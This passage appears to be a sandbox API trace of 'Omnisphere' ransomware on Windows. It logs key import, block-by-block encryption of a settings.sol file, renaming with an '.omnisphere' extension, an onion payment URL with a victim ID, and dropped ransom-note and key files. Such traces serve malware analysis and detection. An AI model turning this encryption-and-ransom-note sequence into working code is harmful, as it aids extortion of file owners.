0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] GetTickCount () returned 0x115491b [0081.458] CryptAcquireContextW (in: phProv=0x3e0c360, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c360*=0x1668a38) returned 1 [0081.459] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0c2c8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c36c | out: phKey=0x3e0c36c*=0x16395e8) returned 1 [0081.459] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c818*, pdwDataLen=0x3e0c35c*=0x80) returned 1 [0081.459] CryptDestroyKey (hKey=0x16395e8) returned 1 [0081.459] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0081.459] CreateFileMappingW (hFile=0x3c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x212, lpName=0x0) returned 0x3c8 [0081.459] MapViewOfFile (hFileMappingObject=0x3c8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x212) returned 0x3430000 [0081.460] CryptAcquireContextW (in: phProv=0x3e0c350, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c350*=0x1668a38) returned 1 [0081.460] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0c308, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c360 | out: phKey=0x3e0c360*=0x16396a8) returned 1 [0081.460] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0c344*=0x2, dwFlags=0x0) returned 1 [0081.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c34c*=0x10) returned 1 [0081.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.460] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.461] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c334*, pdwDataLen=0x3e0c348*=0x10) returned 1 [0081.462] CryptDestroyKey (hKey=0x16396a8) returned 1 [0081.462] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0081.462] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x212, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c8cc | out: lpNewFilePointer=0x0) returned 1 [0081.462] WriteFile (in: hFile=0x3c4, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c8e0, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c8e0*=0x524, lpOverlapped=0x0) returned 1 [0081.464] GetProcessHeap () returned 0x1600000 [0081.464] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2f6) returned 0x164faa0 [0081.464] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere")) returned 1 [0081.465] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere.id" [0081.465] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0081.467] WriteFile (in: hFile=0x3cc, lpBuffer=0x3e0c380*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c368, lpOverlapped=0x0 | out: lpBuffer=0x3e0c380*, lpNumberOfBytesWritten=0x3e0c368*=0x524, lpOverlapped=0x0) returned 1 [0081.468] CloseHandle (hObject=0x3cc) returned 1 [0081.469] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0081.469] CloseHandle (hObject=0x3c8) returned 1 [0081.469] SetEndOfFile (hFile=0x3c4) returned 1 [0081.469] FlushFileBuffers (hFile=0x3c4) returned 1 [0081.472] CloseHandle (hObject=0x3c4) returned 1 [0081.474] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys") returned 1 [0081.474] GetProcessHeap () returned 0x1600000 [0081.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164fda0 [0081.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.474] GetProcessHeap () returned 0x1600000 [0081.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f580 [0081.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f580, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0081.474] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0081.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.474] GetProcessHeap () returned 0x1600000 [0081.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f710 [0081.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f710, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0081.474] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0081.474] GetProcessHeap () returned 0x1600000 [0081.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x164bd88 [0081.474] PathCombineW (in: pszDest=0x164bd88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\!DECRYPT_OMNISPHERE.txt" [0081.474] GetProcessHeap () returned 0x1600000 [0081.474] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1661300 [0081.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0081.475] WriteFile (in: hFile=0x3c4, lpBuffer=0x1661300*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c900, lpOverlapped=0x0 | out: lpBuffer=0x1661300*, lpNumberOfBytesWritten=0x3e0c900*=0x588, lpOverlapped=0x0) returned 1 [0081.477] CloseHandle (hObject=0x3c4) returned 1 [0081.477] GetProcessHeap () returned 0x1600000 [0081.477] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164fda0 | out: hHeap=0x1600000) returned 1 [0081.477] GetProcessHeap () returned 0x1600000 [0081.477] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf2) returned 0x16414e8 [0081.477] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\unique_decrypt.key" [0081.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0081.478] WriteFile (in: hFile=0x3c4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c914, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c914*=0x5a0, lpOverlapped=0x0) returned 1 [0081.479] CloseHandle (hObject=0x3c4) returned 1 [0081.479] GetProcessHeap () returned 0x1600000 [0081.479] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0081.479] GetProcessHeap () returned 0x1600000 [0081.479] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0081.479] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x1a57fc00, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x212, dwReserved0=0x0, dwReserved1=0xaa, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0081.479] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0081.480] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11aa8ffb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0081.480] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11aa8ffb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="..", cAlternateFileName="")) returned 1 [0081.480] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a82bcd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a82bcd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0081.480] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="#aa.online-metrix.net", cAlternateFileName="#AAONL~1.NET")) returned 1 [0081.480] GetProcessHeap () returned 0x1600000 [0081.480] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf8) returned 0x16302c0 [0081.480] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", pszFile="#aa.online-metrix.net" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net" [0081.480] GetProcessHeap () returned 0x1600000 [0081.480] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x16414e8 [0081.480] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*" [0081.480] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa6, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0081.481] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c43548, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa6, cFileName="..", cAlternateFileName="")) returned 1 [0081.481] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0xa6, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0081.481] GetProcessHeap () returned 0x1600000 [0081.481] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x112) returned 0x164a5f8 [0081.481] PathCombineW (in: pszDest=0x164a5f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", pszFile="settings.sol" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" [0081.481] StrStrW (lpFirst=".omnisphere", lpSrch=".sol") returned 0x0 [0081.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 